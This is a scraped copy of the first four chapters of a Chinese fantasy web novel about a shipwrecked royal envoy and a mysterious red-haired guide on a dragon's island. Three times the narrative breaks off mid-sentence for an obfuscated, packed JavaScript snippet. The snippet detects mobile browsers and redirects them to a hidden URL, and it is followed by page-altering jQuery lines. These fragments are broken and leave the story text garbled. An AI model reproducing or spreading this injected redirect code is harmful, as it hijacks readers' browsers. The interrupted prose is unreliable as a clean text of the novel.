《神秘的她们[西幻]》
1. 第 1 章
斯凯加德王国,厄尔姆港。
这是一个位于大陆最北端的国家。
冬日严寒,大雪近乎覆盖了一切,可厄尔姆不冻港却彻夜明亮。
各式各样的船舶运载着大量的香料、贵金属、美酒驶入这个北国港湾;工人有条不紊地搬运货物,商家彼此攀谈,蓬勃的热量从人们的头顶和房屋间升起、汇聚,这一团团云雾使明亮的灯塔光芒都变得朦胧起来。
厄尔姆港最大的一家酒馆里热闹非凡,冬季最漫长的一个夜晚即将来临,人们躁动的兴奋状态却比夜晚持续得更长——厄尔姆不冻港一年一度商贸会的开展,招徕了全国乃至整个大陆的商人,也吸引了许多想借此谋生的短工和观光的旅人。
快嘴雷克缩在酒馆的角落,捧着好不容易获得的一大杯烈酒,嘟囔道:“……好吧好吧,看在这免费的酒上,我就再讲一个故事吧。”
“要有趣的!”站在他面前的一个小男孩急忙道。
“要配得上这杯酒的!”站在小男孩身边的小女孩马上补充。
他们是这家酒馆老板的孩子,正试图用从母亲酒柜里偷偷倒出的一杯微不足道的酒来换取一些十分新鲜的故事。
“要配得上这杯酒的——”快嘴雷克大饮一口,浓烈的酒精如风暴从咽喉席卷至胃囊继而冲上鼻腔,“——那就讲龙的故事吧!”
“龙的故事?”
“对!龙的故事!”快嘴雷克眯起眼睛,用力地咂咂嘴,“一个关于红龙的故事。”
快嘴雷克虽然整天无所事事,但在讲故事方面却是一把好手,故事伴随着小麦香徐徐展开,夜色也渐深。涌进酒馆的人越来越多,休息放松的工人,互相结识的商家,好奇的旅人,都被凛冽的寒风吹了进来。
就连雷克所在的小角落也挤进来了两个年轻人——一个梳着整齐羊角辫的红发女人,一个面容精致的男人,都不是本地人的打扮。
雷克不由得瞥了他们两眼,却又马上被孩子们的催促声打断了:“拜里科斯的国王决定什么?”
“……拜里科斯的国王?哦,对,”他回过神来,继续道,“拜里科斯的国王决定,派遣一支小队,前往龙的巢穴——”
.
“人都去哪了?还不快点滚过来稳住方向!”
“赏赐!赏赐掉水里了!”
“不好了船长!船舱进水了!”
“该死的,别管那么多!快,快上救生船!”
在拜里科斯王国与白岛之间的白沙海上,狂风席卷巨浪将月光遮蔽,大海的咆哮与猎猎风声吞噬了一切呼喊。
往日里威风凛凛的双桅大船,此刻就像一只被顽劣的孩童抓住了的小虫子,在波涛中被抛来甩去;上等羊皮鞣制的船帆,是被扯断的翅膀,正七零八落地挂在桅杆上。
波涛汹涌,弗兰茨被巨力甩出船舱,他攀在一块断裂的木板上,陷在海水里上下颠倒。
沉浮间,他感觉自己灌了一肚子的海水,背部也不知被什么重物狠狠撞击了一下。
他头晕眼花,在海水里翻滚,一时间竟分不清上下。
在恐惧与无助间颠簸许久,大海终于平静下来,弗兰茨爬上木板,精疲力竭地吐出一口气。
天依旧阴沉,狂风平息后,有细细密密的雨水落了下来,四周一片昏暗,只有远处半沉的大船上还挑着一盏油灯。
但很快,那点儿橘黄也被蓝黑色的海水吞咽掉了。
弗兰茨躺在木板上,哆哆嗦嗦地发起抖。
好冷……
真的好冷……
弗兰茨双臂环抱身体蜷缩,试图让热量流失得更慢一点。
静谧的黑夜里,他只能听见海水一下一下冲到木板上的唰唰声,仿佛刚刚船员绝望的呼喊只是一场幻觉。
怎么会这样?
弗兰茨哆嗦着呼出一口气,稀薄的热气从脸上一瞬而过,紧接着就在睫毛上结成了冰冷的水珠。
他的头脑昏沉,意识也不甚清晰,迷蒙间,他感觉眼前飘浮着一团一团的白雾——那是自己因疼痛喘息从口鼻冒出的大量热气——仿佛高耸的山峰间上一道白雪,以及平铺在碧蓝的天空中如同棉絮般的碎云。
意识时有时无,待他在下一次睁开眼时,水声依旧,连绵的白雪与云团清晰可见。
这是……?
弗兰茨又呼出一口气,热气逸散,雪与云仍在。
这是真的雪。
弗兰茨挣扎着从木板上撑起身子,用力眨了眨眼,他瞧见远处碧色的山脉,以及卧在山尖上常年不化的白雪。
视线变得清晰,触觉也随之敏感,暖洋洋的水流正轻柔地抚摸着他的小腿,和煦的阳光照射在他由于浸泡过海水而变得紧绷的面庞上,引起一丝细微的刺痛。
噗通——
弗兰茨翻身落入水中,双腿很快就碰到了雪白的沙地。
顾不上被打湿的半身,他茫然地向岸边走了几步,回头望去,一望无际的大海上只有一块木板孤零零地来回漂浮;再往前看,则是一片完全陌生的陆地。
“你在做什么?”
忽然,一个极近的声音在他身侧响起。
弗兰茨猛一扭头,只见一个女人踩在沙地与海水的交界处。
红头发,桃心脸,扎着两根怪异且凌乱的朝天羊角辫,在并不寒冷的季节里,她穿着严实,戴着手套,毛毡制成的鞋面很快被海水打湿了大半。
是一个奇怪的女人。
“你在做什么?”她用通用语再一次问道。
弗兰茨怔愣了一下,“我……”他下意识想要回答,却又顿住了。
他低头打量了自己一番,凌乱破损的衣服,疲惫的体态,还有身后残缺的木板,很显然,这是一个遭遇了海难的倒霉家伙——在做什么——他还能在做什么?
弗兰茨颇为无奈地摇摇头,思索片刻后用通用语回答了:“在下弗兰茨,弗兰茨·罗兰,从拜里科斯乘船而来,无奈途中遭遇风暴,我漂到这里,请问……这是何处?是白岛吗?”
“白岛,”红发女人停顿了一下,又问,“这里是龙所在的岛屿。你要进去?”
白岛,也就是龙所在的岛屿,但是“进去”?
弗兰茨觉察出红发女人话语里的奇怪意味,可长久的疲惫让他无暇思考太多,于是他顺着红发女人的话说了下去:“对,我想进到格兰德城内,您是城里的居民吗?如果可以,能劳请您带我入城吗?”
红发女人盯了他一会儿,转身走了两步,感觉到弗兰茨没有跟上,于是她又回过头来盯着他。
所以她是答应的意思,弗兰茨快步跟了上去。
视线从海岸线拉向陆地,可以看见绵软潮湿的滩涂以及潮水在上面留下丝丝纹路。沙砾蜿蜒伸展,在太阳的烘烤下逐渐变得干燥粗糙,冷白的岩石从
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991970|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其尽头破开而矗,层层叠叠,其间偶尔露出几丛灌木,远处是一片密林,浓郁得看不见间隙,随地势的抬高遮蔽住视线往更远的地方延伸。
而洁白的城墙则在密林深处若隐若现。
显而易见,此处并非寻常人经常活动的区域,但她既然承认了格兰德城居民的身份,那么在这种情况下,他只能向她寻求帮助。
想到这里,弗兰茨用拜里科斯语试探道:“还没有请教您的名字。”
红发女人停下了脚步。
她回过头来,明黄色的眼睛也从前方的道路转到了他的脸上,浅褐色的瞳仁很细,当眼睛的主人面无表情盯着人的时候,则会透出一股无机质般刺人的冷漠。
她凝视了他一会儿,弗兰茨难以形容这是怎样一种眼神,像在进攻的前一刻仍绷紧肌肉伏在丛林,骨肉结实的猛兽,又像不远处那些赤裸的岩石,只是更加坚硬、也没有温度。
“叫我卡塔利娜。”
半晌,红发女人用拜里科斯语回答了。
使用拜里科斯语时她的语调较先前使用通用语时更为迟缓一些,但没有很明显的口音差异,弗兰茨暗地松下一口气,转而用一种更为温和无害的语气,笑吟吟道:“卡塔利娜,我们现在是往最近的城门去吗?”
“不。”
卡塔利娜转回身子,她拨开树林里自然垂落的藤蔓,又把勾住羊角辫的树枝扯断,在行走过一段崎岖不平的道路后,卡塔利娜将弗兰茨带到一堵洁白的城墙面前。
“到了。”
她向弗兰茨示意——
葱茏的密林深处,矗立着人类堆砌起来的石墙;即使石块上布满了风蚀的痕迹和蜿蜒的藤蔓,但它洁白的色彩和高大的墙面让人难以忽略迎面而来的崇高雄大之感。
尽管弗兰茨自认为早已见识过许多荒诞的场面,但当手指触摸到粗粝的墙面时,他还是控制不住自己对卡塔利娜露出了难以置信的表情。
“我个人认为、不,我的意思是,”弗兰茨绞尽脑汁,试图用简明的句子让面无表情的卡塔利娜理解他的意思,“我想要进到格兰德城里,而不是见到城墙,但现在我们——”
“我知道,”卡塔利娜打断了他的话,语气展露着对他的质疑产生的不满,“这是通往格兰德城最近的道路,翻过这面城墙你就到格兰德城内了。”
“更何况,你支撑不了自己走到城门口了。”
她上下扫视了一下弗兰茨,意有所指。
没有什么比现在的情况更糟糕了。
听完卡塔利娜的话,弗兰茨只觉得一阵头晕目眩。
“可是爬城墙?守城的侍卫会发现的,看到两个陌生人——”对于这种不可理喻的进城方式,他不得不说清自己的身份来争取正常进入城内的方式,“卡塔利娜,现今陛下派遣荣誉使团抵达白岛,我作为使团当中的一员,我想白岛上的格兰德城居民,同时也是拜里科斯的子民,在使团成员需要的时候,有必要提供帮助,而不是将其置于更危险的处境。”
按理说,身为拜里科斯王国的臣民,对于奉国王之命出行的使臣应当尊敬且尽力相助才是,可卡塔利娜听完弗兰茨的话后,不但没有选择另择一路进城,反倒从唇角流露出一股古怪的笑意。
她并不言语,而是上前一步,握住弗兰茨的手臂将他往城墙方向一推,另一只手贴住弗兰茨的腰部,开始迫使他向上攀登。
2. 第 2 章
卡塔利娜的身形算不上高大,但她的手心滚烫,力气巨大,弗兰茨一个踉跄被她推向墙面。
“等等——”
他还想挣扎,一根迎面甩来的粗壮藤蔓打断了他的话。
“抓着。”
卡塔利娜扭住他的肩膀,命令式的声音紧跟其后。
弗兰茨无力挣脱,被迫挂在半空中,被林风吹得左摇右晃,往日穿在身上的体面与礼仪在此刻也几乎维持不住了。
最终,在他以为自己会因体力不支摔死或者被城墙上的守卫射死的时候,领先于他的卡塔利娜双臂一撑翻上了城墙。她俯身攥住他的手臂,轻松一提,弗兰茨便腾空而起落到了城墙上。
噢,他还活着。
而且既没有摔死,也没有被锋利的箭矢指着鼻尖。
“呼、呼——”
弗兰茨深吸几口气,让自己缓和下来,随后他整整衣襟,扯扯衣摆,道:“非常感谢你的帮助,卡塔利娜。”
他点点头,像是要自己认可刚刚说过的话,又接着问:“既然进入到城内,还希望你能行个方便,带我到行驿馆吗?”
“……走过去就可以了。”弗兰茨补充。
卡塔利娜盯了他一会,转身向前。
这一回,弗兰茨没再犹豫,快步跟了上去。
格兰德城位于白岛的西侧,依山而建,随山脉地势逐渐抬高;而钟塔,则是整个格兰德城中最高的建筑。
穿过市集,经过广场,全王国统一建造的行驿馆出现在眼前。
弗兰茨借了一把小刀,挑开衣领角杂乱的针脚,从里面剥出一块刻着水仙花纹的金制圆币,向行驿馆里的接待人员证明自己使者的身份。
还未等他询问使团其它成员的下落,一个熟悉的声音从后方传来:
“——呀,原来你没死呀?”
“托您的福,尊敬的小汤普森先生,您看您一直都是走在人前的,在下又怎敢先您一步呢?”弗兰茨转身朝来者示意,提高音调微笑道,“伍德团长,原来您在后面呀。”
闻言,走在前方的年轻人脸上毫不掩饰地流露出一股怒意,他正要快步上前,却被身后的中年男人拽住了胳膊。
被称为“伍德团长”的中年人有着如凝固岩浆一般暗红色的皮肤,他紧闭双唇,警告似的瞪了小汤普森一眼;随后,他重新望向弗兰茨,面不改色道:“小汤普森先生只是在语言应用上稍少天赋而已,罗兰先生您何必咄咄逼人呢?更何况现在使团成员大多数还生死未卜,挑起争端并非理智之举。”
颠倒是非。
弗兰茨皱了皱眉,但他没再反驳什么,而是询问起现下的情况。
.
二十四名使团成员,三十六名海员,三名向导,八箱赏赐,大半数都已沉没在一天前的那个雨夜。
幸存者大部分都乘坐着救生船安全抵达海港,其余有的被冲到沙滩上,有的被出海打鱼的渔船捞起。整顿下来,伤员暂时安置在格兰德城,剩余无恙的六名使者则继续前往龙穴。
那接下来该怎么做?
人员和赏赐都不足,还有向导……
“这些,我们在今晚的城主晚宴上自会商讨,现在最重要的是,”伍德团长上下打量了一眼弗兰茨,“我对您的遭遇感到抱歉,但您最好将身上的鱼腥味洗干净,城主可是一位极重视礼仪的——”
“我做向导。”
一个声音打断了伍德团长暗藏讽刺的话。
是卡塔利娜。
“——什、你是谁?”突如其来的话让伍德生出一种思维被打断的茫然和困惑。
“我会是接下来的向导。”
卡塔利娜上前,直视着伍德重复了一遍。
“不,你在胡说什么,这怎么可能?哼,真是太……”伍德退后两步,哼了一声重申道,“向导我们会在今晚——”
“今晚的城主宴会上决定,”卡塔利娜果断地说完了伍德的后半句话,“既然还没有决定,就让我也前去。而且,弗兰茨是由我带进城里的。”
——这足以证明我的能力。
她是这个意思,弗兰茨意识到。
“不不,卡塔利娜——”弗兰茨快步上前,劝阻道,“你不明白,这太危险了。”
带他进入格兰德城和带人前往龙穴可不一样,尽管大多数拜里科斯人视能参与每二十年一次前往龙穴的行赏为不可多得的荣誉,但每次行赏都有不少人受伤或身亡。
更何况这次开端如此的不顺利,接下来的行赏必然也会多生波折。他并不想一位刚帮助过自己的人,因不清楚形势陷入危险的环境中。
“不是所有人都能像你一样胆小,”见弗兰茨脸色逐渐难看起来,汤普森哼笑了两声,趁机向伍德提议,“团长,我想情况特殊,这位小姐既然能将罗兰带进城内,那么她的能力肯定不凡。不如就像她所说的,让她以备选向导的身份参加晚宴,届时再决定也不迟啊。”
“不行!”弗兰茨的语气难得毫无修饰地强硬起来,他上前两步将卡塔利娜挡在身后,“团长,使团成员的加入事关重大,请务必考虑清楚——”
“够了!”
面前几人争论不休,伍德沉下了脸,他先是剜了弗兰茨一眼:“我的决策,可不劳您烦心,您要知道这一点,罗兰先生。”
接着下了定论,“这位小姐——”他显然没记住卡塔利娜的名字,“那今晚便以备选向导的身份与我们一同前行吧。”
.
行驿馆的争论没结束多久,夜色就已将将降临。黄昏还未退场,微光悬浮于空中,环境也显得模糊不清。
一片朦胧中,六位使团成员,外加卡塔利娜一位备选向导,一共七人,乘坐着双驾马车静静地来到城主府外。
格兰德城的城主府正位于钟塔的斜前方,是一处比城民住宅高不了多少的建筑物。
“从王国大陆而来的使团成员们,”城主是一位不苟言笑的中年女人,常年板着脸的习惯使她向众人热络微笑的时候,嘴角依旧是奇怪地往下融化,“我想,诸位一定是累坏了吧?”
“这一点点小挫折对使团算不上什么。”
伍德向她回礼、问候,两人寒暄几个来回,城主才摇了摇铃示意宴起。
城主府外观算不上多么精致,内里却让人出乎意料。弗兰茨看着端上来的一道道冷盘热菜,以及摆放在手边几把整整齐齐、有着专属用途的银质叉子,不由得挑了挑眉。
“别摆出这么一副恶心人的样子,”汤普森靠在他耳边嘲弄,脸上笑嘻嘻的,“谁知道你是怎么成为这次使团成员的?难道真是受到了亲王殿下的垂青?可你也不过如此啊,还有——”
他将目光投到了一旁的卡塔利娜身上,她正用一柄取肉的叉子戳起面前的甜点:“你居然和这么粗鲁的人来往,真让你的家族蒙羞。”
弗兰茨抬头看他,看他原本就长得紧张局促的脸因刻薄的言行显得更加难看,轻轻笑了一下,道:“我使团成员的身份是由国王陛下直接任命的,与亲王殿下无关;反观您自己,小汤普森先生,您怕是连获得殿下垂青的资格也没有吧?”
“小伙子们,在谈些什么呢?可别将旁边的姑娘们冷落了,”城主热切的声音传来,目光依次从使团中的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991971|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女性成员身上滑过,最后落到了卡塔利娜身上;她问伍德,“这位,这位姑娘使用叉子的方式真是别致,是王国大陆带来的新风尚吗?”
“当然不是,”伍德回答,“这是,这是卡、卡特琳?备选向导,您知道的,我们原来的向导不幸遇难,这是我们新来的备选向导,本地人。”
“本地人?”城主皱起了眉头,看向卡塔利娜的目光立刻回到了伍德身上,“恕我直言团长先生,在得知使团遭遇海难损失惨重之际,我立刻筹备了替补成员和老练的向导,我想,有了他们,这次的行赏必然会顺利圆满;而且也不必让你们才脱险又受寻找新成员的劳累。
“但是这位考特尼、卡特琳小姐,我并不是在质疑您的决策,只是出于谨慎,她没有经过考核就成为使团向导,是否有些疏忽,不利于接下来的行程?”
“这话就有失偏颇了,”刚刚还与城主十分热络的伍德语气沉了几分,“得知我们遭遇海难,第一个做的却是筹备人手恐怕多有不妥;更何况卡、这位小姐在下午帮助我们一位分散的成员进城找到行驿馆,而你们却连其余成员踪迹都难以寻到,这足以证实能力的差别了。
“不过,现下我们的成员数量确实不够,您的考量也是因为一片热心,我想,提前见见您选出来的备选成员也没有关系吧?”
“这……”城主犹豫了一会儿,伍德挑回来的话让她在局势的把控上弱了半分,为表善意她不得不同意了,“好吧,我本想让大家明日再见一见的,但既然伍德团长要求了,我也不好再推脱什么。”
有着精致摆盘和丰盛食物的晚宴匆匆结束,众人被邀至会客厅,没过多久,几重脚步声由远及近传来。
暗红色涂漆的拱门下,有数十人被管家领了进来,来者各个身材高大,身形矫健,这样的矫健,并不呈现一种观赏性的美感,而是让人生出一丝警惕与慎重。
这是人在面对比自己更强大有力的人时会产生的本能。
城主的确是用心挑选。
可这样的用心却并不能让伍德舒心。
“我觉得,”他顿了顿,侧身看向整个晚宴都没有怎么说话的副团长,意有所指,“城主挑选的备选成员自然很不错,只是人员变动并不是我一个人决定的,您觉得呢?罗斯副团长。历经风暴损失惨重,人员变动如此之大,禀告陛下才是关键。”
与骑士团出身的伍德不同,使团副团长罗斯的履历颇为精彩,她原是亲王殿下身边的女官,受人尊敬,但在亲王外出游历的五年中,她却没有与她同行,等她再一次出现人前时却已成为了国王陛下的亲卫。
罗斯侍奉过两位位高权重之人,现又成为荣耀使团的副团长,尽管本人沉默寡言,伍德却不会轻视她的存在。
“……伍德先生,”城主的声音却先一步响了起来,“并非有意打断二位的对话,只是行赏这么重要的事,第一次禀告陛下的不仅是没有什么结果,还有出师不利的消息,这恐怕会惹陛下不悦吧?与其等待陛下指派新的团员或领导者,倒不如一边接受这些备选成员出发,一边再与陛下汇报此事,您觉得呢,罗斯女士?”
罗斯沉吟片刻,对伍德低声道:“城主的话并非没有道理,团长。于陛下而言,不耽误‘行赏’才是关键,更何况届时如果真的派遣了新队伍,局面不一定会更好。”
罗斯的话虽然简短,却戳中了伍德内心深处最在乎的一点,他挺了挺背,再一次扫视城主挑选的成员:“好吧,既然罗斯副团长都发话了,那我也尊重女士的观点。不过城主女士,除了您挑选的人外,我们邀请而来的备选向导小姐也会与我们同行。”
3. 第 3 章
经过商讨,伍德决定在格兰德城休整一日,第二天再出发行赏。
为行动方便,城主挑选的十一位备选成员与一名向导也一同住进了行驿馆。
“诸位,欢迎你们的加入,”伍德微笑道,“协助荣誉使团前往龙穴行赏需要不可多得的勇气,但也必会给你们带来至高无上的荣誉。待这次行赏结束,回到王国大陆,我必会向国王陛下陈明你们的帮助。”
“帮助?”备选团员其中一人疑惑道,“城主说我们将会成为使团的一员。”
“噢,没想到城主女士为招徕人选说出如此不严谨的话。使团成员的名单都是陛下过目认可的,如果城主女士认为她能够越过陛下直接任命,那可不太妙,”伍德故作诧异的模样,随后又向他们示意,“就像这位弗兰茨·罗兰先生,尽管其貌不扬,但可别小看了他的身份,他可是驭龙女士的后人,因此此次行赏,陛下亲自任命他为使团成员。”
驭龙女士的后人?
伍德转移视线的话一出,探究、好奇、不喜,各式目光便都落到了弗兰茨的身上。
没有人会享受这种被祸水东引的时刻,弗兰茨也不例外,他礼节性地向众人点点头,便表示为明日出发时保持良好的状态先行休息了。
回去躺了小半天,傍晚,在行驿馆一楼的公共浴室洗漱后,弗兰茨往楼上的房间走去,在楼梯的拐角处遇到了独自一人的卡塔利娜。
她穿着盖住双手的黑色长袍,鬓角濡湿一片,一副刚洗漱完的样子,可即便如此,她仍旧扎着两条高高的羊角辫。
弗兰茨忍着让自己不去过多关注这两条怪异的羊角辫,羊角辫的主人却先一步向他搭话了。
“驭龙女士的后人?”她先是发问,而后又肯定地说,“你是梅兰妮尔·杜兰德的后人。”
是听到了伍德的话吗?
弗兰茨抿唇,回答道:“是的,我是驭龙女士的后人。”
“罗兰和杜兰德,这并不一样。”
楼梯的转角处,斜插着一柄以供照明的蜡烛,蜡泪堆积得很厚,烧成黑色的烛线弯弯曲曲地扭着。
光不明亮,卡塔利娜的脸半隐在昏暗处,弗兰茨看不清楚她的表情,只有她的话一如既往的简短又笃定。
“……我的母亲,是梅兰妮尔·杜兰德的幼女。”弗兰茨解释道,然后他没再说什么,错身向楼上走去。
受潮的木制楼梯不再像行驿馆最初建造时那么牢固,随着弗兰茨每一步重心的变动,楼梯发出了几声突兀的呻丨丨吟。
吱呀声停止,弗兰茨缓缓吐出一口气,转过身来,他站在高几层的台阶上看向卡塔利娜。
距离一远,卡塔利娜的面容便越发模糊不清,只有明黄色的眼睛烛火似的闪闪发亮。
“卡塔利娜。”
弗兰茨看着这个琢磨不透的人,每个人参与行赏的人都有自己的目的,只有卡塔利娜,他不明白她为什么要成为向导,为什么一定要加入此次行赏,为名?为利?
不,她像是一个纯粹觉得这件事好玩的孩童,像一场无法抵抗的风暴突然降临,将一切事情搅成一团,让遇到她的人茫然。
无论是让他攀爬城墙,还是成为向导,她总能达成她想要的。
“我不明白你为什么要加入行赏,但是此行凶险,往年也并非次次顺利。”弗兰茨停顿了一下,想到她毕竟还帮助过自己,于是又补充了一句劝告,“……你自己多加小心。”
说完,他不再停留,走到二楼明亮的走道中。
罗斯副团长正站在她自己的房间门口,她环抱肩膀看着弗兰茨,像是把他刚刚说的话都听到了。
“弗兰茨,”在弗兰茨从她身边经过时,她叫住他,“你与她似乎关系不错?”
“只是一句友好的提醒,”虽然在卡塔利娜成为向导的时候罗斯并未反对,但他记得她最开始见到卡塔利娜时错愕的表情,他无意去猜测,可也不想让人误会,“回去和陛下汇报的时候,不必将这种事情也上报吧?从前你在殿下身边的时候可不是这样子的。”
“那倒不会。”罗斯摇了摇头,两人心照不宣的将刚才的话题放下,礼貌地分开。
.
翌日,天空泛着朦胧的青色,银月还透着点儿浅淡的影子,报晨鸟的第一声啼叫就已划破了城内的寂静。
格兰德东城门外,六名使者,十二名格兰德城人,加上卡塔利娜,十九人披着晨露整装待发。
白岛的中部卧着一道高高的山脊,西部则与拜里科斯王国大陆相隔一片白沙海。
格兰德城位于白岛西部,顺着地势自西向东不断抬高,因此东城门几乎是整个格兰德城地势最高的所在,也是前往龙穴行赏最近的地方。
与预想中的高调欢送不同,东城门口只有城主带领一支卫队相送。
此刻,他们正低声吟唱,高处的城墙上也隐隐传来守卫应和之声。
薄雾笼罩的清晨,空气中还带有丝丝凉意。低沉的歌声如浪潮,一下一下涌入不远处的密林中,它滑过盘虬卧龙的树根,钻过层层叠叠的枝叶,随后又如退潮般慢慢地、低低地退了回来。
似被这肃穆的氛围感染,就连汤普森也不再随意出声,在格兰德城人的歌声中,众人向前出发。
此时尚处晚春时节,拜里科斯还未彻底回暖。行走在山林间,繁密的枝叶阻挡了阳光的降落,山林里寒意更是不减。
一行人沉默不语,山林也配合得没有一丝虫鸣,只有行走时腐败落叶发出的咯吱声。随着湿气不断减少,地势不断抬高,弗兰茨大概判断出他们正不停的往东部走。
前往龙穴行赏是拜里科斯一百年前才有的活动,每二十年一次,国王会从全王国中挑选勇猛且高尚的人组成荣耀使团。
被选中的使团成员将从王都出发,他们携带珍宝与展现威仪的权杖,穿过王国大陆,横渡白沙海,在格兰德城进行最后的补给与休养,接下来要面对的,才是真正的考验与挑战。
跋涉山林许久,暮色也悄然而至,前方的密林开始蒙上一片雾色,格兰德城的向导向伍德和罗斯汇报些什么,几人商榷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991972|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,向所有人表示全体原地休整一夜,明日再出发。
拾取断木,点燃火堆,借着不甚明亮的光,弗兰茨发现密林间的绿云更浓了。
“如大家眼前所见,前方雾气密布的地方正是‘迷雾森林’,传闻那里徘徊着红龙最忠诚的爪牙,”见众人安顿好,向导出声提醒,“今晚原地休息的时候切勿独自冒险,它们的力气巨大无比,身体也硬如磐石。不过,那些龙牙战士无法离开那些毒雾环绕的地方,现在我们所处的位置是绝对安全的。”
龙牙战士,那些历代使团成员在公众场合讲述他们的荣光经历时提到过,它们是红龙最锋利的毒牙,播种到土地里便化为红龙最坚定的守卫者,任何踏进它们守护之地的外来者都会被无情的抹杀。
“那你们是如何活下来的?”当时也有人提问。
“头脑,”前任成员回答,“你要知道,人与这种死物最大的区别,就是拥有灵活的头脑。”
有了前人的经验,现在的众人虽然都只是第一次来到这里,但并未产生过多的慌张。
在跳动的火光中,天色彻底暗了下来,星辰闪烁,一行人原本有些紧绷的神经也在用过晚饭后慢慢放松下来,融融的火光烘托出一片暖洋洋的祥和气氛。考虑到明日还要早起赶路,罗斯挑了挑火堆以防熄灭,又按两小时为一组划分好守夜人员便提醒众人早点休息。
.
次日,在圆日与弯月同挂之际,霞光与寒气共存之时,一行人就已起身。简单的梳洗过后,众人朝着太阳升起的方向迈开了前进的步伐。
越是靠近迷雾森林,弗兰茨越能感觉到它的古怪。
刚才一路走来,密林虽然寂静,但偶尔能听见几声鸟鸣,可越往迷雾森林走去,鸟兽形迹就越少。
地上堆积的腐殖质也很厚,踏上去会让人生出一种陷入黏稠沼泽的错觉。
不仅如此,这里树木也比刚才的怪异,枝干灰黑,形状似一个个扭曲的人影,枝桠还光秃秃的。
可即便没有什么树叶阻挡,交错盘结的枝干也结成了一个巨大的密密麻麻的网,把早晨的阳光阻挡在外面。
空气开始弥漫奇怪的气味,不少人开始露出不适的表情。
见状,伍德转头示意,格兰德城的向导点点头,一边从行囊中拿出面罩分发给其他人,一边解释:“看到前方的绿色迷雾了吗?里面含有致幻的气体。面罩虽然不能完全隔绝,但是可以较大减少你们吸入气体的可能性。”
然后他又从胸前的口袋中掏出十几枚浅蓝色的细叶,十分热心肠地补充:“这是厄瑞忒树的叶子,有刺激提神的功效,你们最好在进入迷雾森林之前就把这东西含在嘴里。”
尚未进入迷雾森林,危险的阴影就已隐隐笼罩众人。
伍德放慢脚步,右手握住腰间的佩剑,这好似一个信号,所有人打起精神更加警惕起来。弗兰茨扣紧面罩,将随身携带的匕首抽了出来。
绿色的迷雾就在眼前,一行人屏气凝神,停顿片刻后伍德下定决心,拔出佩剑率先一脚踏进。
4. 第 4 章
绿雾环绕的森林,并非如睡前读物里描绘的绿林仙境一般神秘又美丽。
一脚踏入,弗兰茨只感觉到沉重,仿佛空气都已经停滞凝固,有一大潭湖水低低的倒挂在头上,沉甸甸地往身上压。
越往里走,众人行走得就越困难,出发前快速通过的想法如今看来简直就是天方夜谭。
这里不仅空气沉闷,四周也透着危险的痕迹。
迷雾森林的树算不上高大,部分枝干上有着巨大的深刻的划痕,这看起来并不像是小动物打磨爪子时留下的抓痕,更像是来自某种更庞大的更冰冷的事物致命一击。
不过是在经过时偶尔一瞥,弗兰茨的背后却出了一层薄薄的冷汗,就连耳后细微的绒毛也好似感受到危险一般竖了起来。
除了这些划痕,道路上偶尔能看见一些人类遗留下来的武器,这些刀剑或是卷了刃,或是断裂成几块。
往日里锃亮耀眼,如今却也蒙尘,而这些武器的主人,很显然是以前不幸的使团成员,他们的下场不必明说亦可料到。
看着这些前人遗留下来的痕迹,众人行走得越发谨慎,朝着太阳升起的东方继续前行。
——咔擦!
一截断木落地的声音,众人尚未朝声源处转去,一大片阴影就已从右侧重重压来!
——噗嗤!
这是皮肉被穿透的声音,所有人都还没有反应过来身边少了一人,就看见一个格兰德城人被什么东西贯穿了腰腹,硬生生地捅在一旁的树干上。
这是什么?!
所有人都被这画面震住了,那个可怜的格兰德城人被一种速度极快的东西贯穿了,撕裂了,他的身体、骨肉因极大的蛮力硬生生地嵌进树干之中。
鲜血从残肢里爆开,喷溅到树干上再蜿蜒而下,滴滴答答,迅速汇聚成一滩血湖,下一瞬,一大滩内脏也从被破开的肚腹稀里哗啦地倾泻出来。
那凶手的行动速度是如此之快,从格兰德城人站立的地方到树干的位置,这一段的地面上却没有留下一丝血痕。
“小心——”
身后传来一声惊叫,弗兰茨尚从眼前的骇人景象中回过神来,余光就已瞥见黑影直直地往队伍的最前端掠去!
“该死!”
伍德双手握住佩剑往上一抵挡,可即便他有所提防,还是被袭来的巨力震得手腕发麻,虎口沁血!
第一击不成,第二击紧随其后,他堪堪站稳身子,却见白色的阴影已破风而来,死亡的利刃将将要挨上鼻尖。
“嘿!”
一个高大的格兰德城人大呵一声,持剑劈向阴影;与此同时,伍德身后的两人也立即做出配合,一人抱住伍德的腰向侧面扑去,一人趁机上前一步企图将武器捅入白影心口。
这是怎样一种坚硬的物体?
